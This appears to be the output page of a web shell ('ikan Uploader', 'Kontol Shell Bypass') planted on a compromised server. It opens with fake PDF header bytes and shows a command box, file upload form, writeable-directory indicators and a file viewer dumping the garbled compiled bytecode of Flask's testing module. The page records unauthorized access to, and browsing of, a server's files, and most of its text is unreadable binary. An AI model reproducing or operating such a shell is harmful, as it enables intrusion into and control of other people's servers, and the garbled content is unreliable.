%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/flask/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/flask/__pycache__/testing.cpython-39.pyc
a

�_g�'�@sddlmZddlZddlZddlmZddlmZddl	m	Z	ddl
mZddlm
Z
ddlZddlmZdd	lmZdd
lmZddlmZdd
lmZejr�ddlmZddlmZddlmZGdd�dej j!�Z!da"dd�dd�Z#Gdd�de�Z$Gdd�de�Z%dS)�)�annotationsN)�contextmanager)�	ExitStack)�copy)�
TracebackType)�urlsplit)�	CliRunner)�Client)�Request�)�
ScriptInfo)�SessionMixin)�WSGIEnvironment)�TestResponse)�Flaskc
sHeZdZdZdddddddddd	��fd
d�
Zdddd�d
d�Z�ZS)�EnvironBuildera�An :class:`~werkzeug.test.EnvironBuilder`, that takes defaults from the
    application.

    :param app: The Flask application to configure the environment from.
    :param path: URL path being requested.
    :param base_url: Base URL where the app is being served, which
        ``path`` is relative to. If not given, built from
        :data:`PREFERRED_URL_SCHEME`, ``subdomain``,
        :data:`SERVER_NAME`, and :data:`APPLICATION_ROOT`.
    :param subdomain: Subdomain name to append to :data:`SERVER_NAME`.
    :param url_scheme: Scheme to use instead of
        :data:`PREFERRED_URL_SCHEME`.
    :param json: If given, this is serialized as JSON and passed as
        ``data``. Also defaults ``content_type`` to
        ``application/json``.
    :param args: other positional arguments passed to
        :class:`~werkzeug.test.EnvironBuilder`.
    :param kwargs: other keyword arguments passed to
        :class:`~werkzeug.test.EnvironBuilder`.
    �/Nr�strz
str | None�t.Any�None)�app�path�base_url�	subdomain�
url_scheme�args�kwargs�returncs�|s|s|r(|dut|p|�ks(Jd��|dur�|j�d�p>d}|jd}	|r\|�d|��}|durn|jd}t|�}
|
jp~|�d|
jp�|�d|	�d���}|
j}|
jr�t	|
jt
�r�d	nd
}|||
j7}||_t�j
||g|�Ri|��dS)Nz8Cannot pass "subdomain" or "url_scheme" with "base_url".ZSERVER_NAME�	localhostZAPPLICATION_ROOT�.ZPREFERRED_URL_SCHEMEz://r�?�?)�bool�config�getr�scheme�netloc�lstripr�query�
isinstance�bytesr�super�__init__)�selfrrrrrrrZ	http_hostZapp_root�url�sep��	__class__��:/vddos/python/lib/python3.9/site-packages/flask/testing.pyr,0s4
���

��zEnvironBuilder.__init__)�objrrcKs|jjj|fi|��S)z�Serialize ``obj`` to a JSON-formatted string.

        The serialization will be configured according to the config associated
        with this EnvironBuilder's ``app``.
        )r�json�dumps)r-r4rr2r2r3�
json_dumpsXszEnvironBuilder.json_dumps)rNNN)�__name__�
__module__�__qualname__�__doc__r,r7�
__classcell__r2r2r0r3rs�"(r�r�rcCststj�d�atS)N�werkzeug)�_werkzeug_version�	importlib�metadata�versionr2r2r2r3�_get_werkzeug_versiondsrDcs�eZdZUdZded<dddd��fdd�Zeddd	d�d
d��Zddd
�dd�Zdddd�dd�Z	ddd�dddddd��fdd�Z
dd�dd�Zdd d!dd"�d#d$�Z�Z
S)%�FlaskClientaWorks like a regular Werkzeug test client but has knowledge about
    Flask's contexts to defer the cleanup of the request context until
    the end of a ``with`` block. For general information about how to
    use this class refer to :class:`werkzeug.test.Client`.

    .. versionchanged:: 0.12
       `app.test_client()` includes preset default environment, which can be
       set after instantiation of the `app.test_client()` object in
       `client.environ_base`.

    Basic usage is outlined in the :doc:`/testing` chapter.
    r�applicationrr)rrrcs>t�j|i|��d|_g|_t�|_ddt���d�|_dS)NFz	127.0.0.1z	Werkzeug/)ZREMOTE_ADDRZHTTP_USER_AGENT)r+r,�preserve_context�
_new_contextsr�_context_stackrD�environ_base)r-rrr0r2r3r,}s
�zFlaskClient.__init__zt.Iterator[SessionMixin]cos�|jdurtd��|j}|j|i|��}|�|jj�|� |j�||j�}Wd�n1s`0Y|durzt	d��|V|�
�}|j�|�r�dS|� |j�|||�Wd�n1s�0Y|�
|jj�d�d|jj|j�d��dS)a�When used in combination with a ``with`` statement this opens a
        session transaction.  This can be used to modify the session that
        the test client uses.  Once the ``with`` block is left the session is
        stored back.

        ::

            with client.session_transaction() as session:
                session['value'] = 42

        Internally this is implemented by going through a temporary test
        request context and since session handling could depend on
        request variables this function accepts the same arguments as
        :meth:`~flask.Flask.test_request_context` which are directly
        passed through.
        Nz>Cookies are disabled. Create a client with 'use_cookies=True'.z'Session backend did not open a session.�:rz
Set-Cookie)�_cookies�	TypeErrorrFZtest_request_contextZ_add_cookies_to_wsgi�request�environZsession_interfaceZopen_session�RuntimeError�response_classZis_null_sessionZsave_sessionZ_update_cookies_from_response�host�	partitionr�headers�getlist)r-rrr�ctx�sess�respr2r2r3�session_transaction�s,
�..
�zFlaskClient.session_transactionr)�otherrcCs$i|j�|�}|jr |jj|d<|S)Nzwerkzeug.debug.preserve_context)rJrGrH�append)r-rZ�outr2r2r3�
_copy_environ�szFlaskClient._copy_environztuple[t.Any, ...]zdict[str, t.Any]�BaseRequestcCsP|�|�di��|d<t|jg|�Ri|��}z|��W|��S|��0dS)NrJ)r]r$rrF�get_request�close)r-rr�builderr2r2r3�_request_from_builder_args�s�z&FlaskClient._request_from_builder_argsF��buffered�follow_redirectsr"r)rrdrerrc	s�|r�t|dtjjttf�r�t|dtjj�rVt|d�}|�|jpFi�|_|�	�}q�t|dt�r�tj
|d|j|�i�d��	�}q�t|d�}|�|j�|_n|�
||�}|j��t�j|||d�}|jj|_|jr�|j��}|j�|�q�|S)Nr)rrJrc)r)r?�testr�dictr^rr]rJr_Zfrom_environrFrOrbrIr`r+�openr5Zjson_modulerH�pop�
enter_context)	r-rdrerrrarN�response�cmr0r2r3rh�s2�
�
�

zFlaskClient.openr>cCs|jrtd��d|_|S)NzCannot nest client invocationsT)rGrP�r-r2r2r3�	__enter__�szFlaskClient.__enter__ztype | NonezBaseException | NonezTracebackType | None)�exc_type�	exc_value�tbrcCsd|_|j��dS)NF)rGrIr`)r-rorprqr2r2r3�__exit__�szFlaskClient.__exit__)r8r9r:r;�__annotations__r,rrYr]rbrhrnrrr<r2r2r0r3rEms


1�-rEcsDeZdZdZdddd��fdd�Zdddddd	��fd
d�
Z�ZS)
�FlaskCliRunnerz�A :class:`~click.testing.CliRunner` for testing a Flask app's
    CLI commands. Typically created using
    :meth:`~flask.Flask.test_cli_runner`. See :ref:`testing-cli`.
    rrr)rrrcs||_t�jfi|��dS�N)rr+r,)r-rrr0r2r3r,szFlaskCliRunner.__init__N)�clirrrcsD|dur�jj}d|vr.t�fdd�d�|d<t�j||fi|��S)acInvokes a CLI command in an isolated environment. See
        :meth:`CliRunner.invoke <click.testing.CliRunner.invoke>` for
        full method documentation. See :ref:`testing-cli` for examples.

        If the ``obj`` argument is not given, passes an instance of
        :class:`~flask.cli.ScriptInfo` that knows how to load the Flask
        app being tested.

        :param cli: Command object to invoke. Default is the app's
            :attr:`~flask.app.Flask.cli` group.
        :param args: List of strings to invoke the command with.

        :return: a :class:`~click.testing.Result` object.
        Nr4cs�jSru)rr2rmr2r3�<lambda>(�z'FlaskCliRunner.invoke.<locals>.<lambda>)Z
create_app)rrvrr+�invoke)r-rvrrr0rmr3rys
zFlaskCliRunner.invoke)NN)r8r9r:r;r,ryr<r2r2r0r3rt	s�rt)&�
__future__r�importlib.metadatarA�typing�t�
contextlibrrr�typesr�urllib.parserZ
werkzeug.testr?Z
click.testingrr	Zwerkzeug.wrappersr
r^rvr�sessionsr
�
TYPE_CHECKINGZ_typeshed.wsgirrrrrfrr@rDrErtr2r2r2r3�<module>s.G	

Kontol Shell Bypass